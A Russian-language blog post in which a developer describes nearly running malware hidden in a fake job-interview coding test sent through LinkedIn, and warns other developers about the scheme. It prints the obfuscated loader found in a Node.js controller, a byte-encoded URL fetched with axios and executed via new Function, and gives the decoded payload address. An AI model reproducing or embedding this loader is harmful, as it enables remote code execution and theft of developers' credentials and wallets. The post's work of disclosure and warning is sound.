Connect with us

Разработка

Как меня чуть не хакнули на собеседовании

В следующий раз, когда кто-то пришлёт вам «задачу на написание кода», запомните эту историю.

Опубликовано

/

     
     

Я был в 30 секундах от того, чтобы запустить вредоносное ПО на своём компьютере. Вектор атаки? Фейковое интервью по программированию от «легальной» блокчейн-компании.

Вот как изощрённая мошенническая операция чуть не довела меня до запуска вредоносного кода, и почему каждому разработчику стоит это прочитать.

Сюжет

На прошлой неделе я получил сообщение в LinkedIn от Николая Янчия, Chief Blockchain Officer в Symfa. Реальная компания. Реальный профиль в LinkedIn. Более 1000 контактов. Всё складывается.

Сообщение было простым и профессиональным. «Мы разрабатываем BestCity — платформу, нацеленную на трансформацию рабочих процессов в сфере недвижимости. Доступны вакансии на неполный рабочий день. Гибкая структура».

Я работаю фрилансером уже 8 лет. Разрабатывал веб-приложения, работал над различными проектами, участвовал в code review. Обычно я параноидально отношусь к безопасности – или, по крайней мере, так мне казалось.

Это выглядело правдоподобно. Поэтому я согласился на звонок.

Зацепка

Перед нашей встречей Николай прислал мне «тестовый проект» – стандартная практика для технических собеседований. Кодовая база React/Node для оценки моих навыков. 30-минутный тест. Достаточно просто.

Репозиторий Bitbucket выглядел профессионально. Чистый README. Полная документация. Даже была та самая корпоративная фотография женщины с планшетом перед домом. Ну, вы знаете.

Как меня чуть не хакнули на собеседовании

Вот где я чуть не облажался: я опаздывал на нашу встречу. У меня было около 30 минут на проверку кода. Поэтому я поступил, как делают ленивые разработчики – начал ковыряться в кодовой базе, не запуская её предварительно.

Обычно я всё помещаю в песочницу. Docker-контейнеры. Изолированные среды. Но я торопился.

Я потратил 30 минут на исправление очевидных ошибок, добавление файла docker-compose и чистку кода. Стандартная работа. Готов запустить и показать свою работу.

И тут у меня случился один из тех параноидальных моментов, которые свойственны разработчикам.

Сейв

Прежде чем запустить npm start, я задал своему агенту Cursor AI следующий вопрос:

«Прежде чем я запущу это приложение, посмотрите, нет ли в этой кодовой базе подозрительного кода? Например, чтения файлов, которые оно не должно читать, доступа к криптокошелькам и т.д.».

И, чёрт возьми!

Прямо посередине server/controllers/userController.js лежала эта красота:

//Get Cookie  
(async () => {  
    const byteArray = [  
        104, 116, 116, 112, 115, 58, 47, 47, 97, 112, 105, 46, 110, 112, 111, 105,  
        110, 116, 46, 105, 111, 47, 50, 99, 52, 53, 56, 54, 49, 50, 51, 57, 99, 51,  
        98, 50, 48, 51, 49, 102, 98, 57  
    ];  
    const uint8Array = new Uint8Array(byteArray);  
    const decoder = new TextDecoder('utf-8');  
    axios.get(decoder.decode(uint8Array))  
        .then(response => {  
            new Function("require", response.data.model)(require);  
        })  
        .catch(error => { });  
})();

Обфусцированный. Хитрый. Зловещий. И на 100% активный код — встроенный между легитимными административными функциями, готовый к выполнению с полными привилегиями сервера в момент доступа к административным маршрутам.

Я расшифровал этот байтовый массив: https://api.npoint.io/2c458612399c3b2031fb9

Когда я впервые нажал на URL, он был активен. Я захватил полезную нагрузку. Чистейший вредонос. Тот, который крадет всё — криптокошельки, файлы, пароли, всё ваше цифровое существование.

Вот в чём фишка: URL-адрес умер ровно через 24 часа. Эти ребята не тратили время попусту — у них была настроена инфраструктура на быстрое уничтожение улик.

Я прогнал полезную нагрузку через VirusTotal — посмотрите анализ поведения сами. Спойлер: это неприятно.

Операция

Это не было каким-то любительским мошенничеством. Это было продуманно.

Профиль в LinkedIn: Николай Янчий выглядел на 100% реальным. Директор по блокчейну. Достойный опыт работы. Даже были эти странные посты в LinkedIn об «инновациях» и «консалтинге по блокчейну».

Компания: У Symfa была полноценная страница компании в LinkedIn. Профессиональный брендинг. Много сотрудников. Публикации о «трансформации недвижимости с помощью блокчейна». У них даже были партнёрские страницы и сети подписчиков.

Подход: Никаких тревожных сигналов при первоначальном взаимодействии. Профессиональный язык. Разумный масштаб проекта. Они даже использовали Calendly для планирования.

Полезная нагрузка: Вредоносный код был стратегически размещён в контроллере на стороне сервера, готовый к выполнению с полными привилегиями Node.js при доступе к функциям администратора.

Психология

Вот что делало это настолько опасным:

Срочность: «Пройдите тест до встречи, чтобы сэкономить время».

Авторитет: Верифицированный профиль в LinkedIn, реальная компания, профессиональная конфигурация.

Знакомство: Стандартное тестовое задание по программированию. Каждый разработчик проходил десятки таких.

Социальное доказательство: Реальная страница компании с реальными сотрудниками и реальными связями.

Я чуть не попался. А я то уж параноик в этом.

Урок

Одна простая подсказка ИИ спасла меня от катастрофы.

Не какие-то там навороченные инструменты безопасности. Не дорогой антивирус. Просто попросил своего помощника по программированию поискать подозрительные шаблоны перед выполнением неизвестного кода.

Что страшного? Этот вектор атаки идеально подходит для разработчиков. Мы скачиваем и запускаем код целыми днями. Репозитории GitHub, пакеты npm, задачи по программированию. Большинство из нас не помещают всё в песочницу.

И это было вредоносное ПО на стороне сервера. Полные привилегии Node.js. Доступ к переменным окружения, подключениям к базам данных, файловым системам, криптокошелькам. Ко всему.

Масштаб

Если эта сложная операция направлена ​​на разработчиков в таком масштабе, сколько уже скомпрометировано? В скольких производственных системах они сейчас находятся?

Идеальный выбор цели: разработчики — идеальные жертвы. Наши машины хранят ключи от королевства: учётные данные для работы, криптокошельки, данные клиентов.

Профессиональная маскировка: легитимность LinkedIn, реалистичные кодовые базы, стандартные процедуры собеседований.

Техническая сложность: многослойная обфускация, удалённая доставка полезной нагрузки, ручные коммутаторы, выполнение на стороне сервера.

Одно успешное заражение может поставить под угрозу производственные системы крупных компаний, криптоактивы стоимостью в миллионы долларов и личные данные тысяч пользователей.

Итог

Если вы разработчик и ищете работу в LinkedIn:

  1. Всегда изолируйте неизвестный код. Docker-контейнеры, виртуальные машины и т.д. Никогда не запускайте его на основной машине.
  2. Используйте ИИ для сканирования на предмет подозрительных шаблонов. Это займёт 30 секунд. Может спасти всю вашу цифровую жизнь.
  3. Проверяйте всё. Настоящий профиль в LinkedIn не означает реального человека. Реальная компания не означает реальную возможность.
  4. Доверяйте своей интуиции. Если кто-то торопит вас с выполнением кода, это тревожный сигнал.

Этот обман был настолько изощрённым, что мой первоначальный детектор лжи не сработал. Но один параноидальный момент и простая подсказка ИИ всё раскрыли.

В следующий раз, когда кто-то пришлёт вам «задачу на написание кода», запомните эту историю.

Ваш криптокошелёк будет вам благодарен.

Источник

Если вы нашли опечатку - выделите ее и нажмите Ctrl + Enter! Для связи с нами вы можете использовать info@apptractor.ru.
Telegram

Популярное

Сообщить об опечатке

Текст, который будет отправлен нашим редакторам: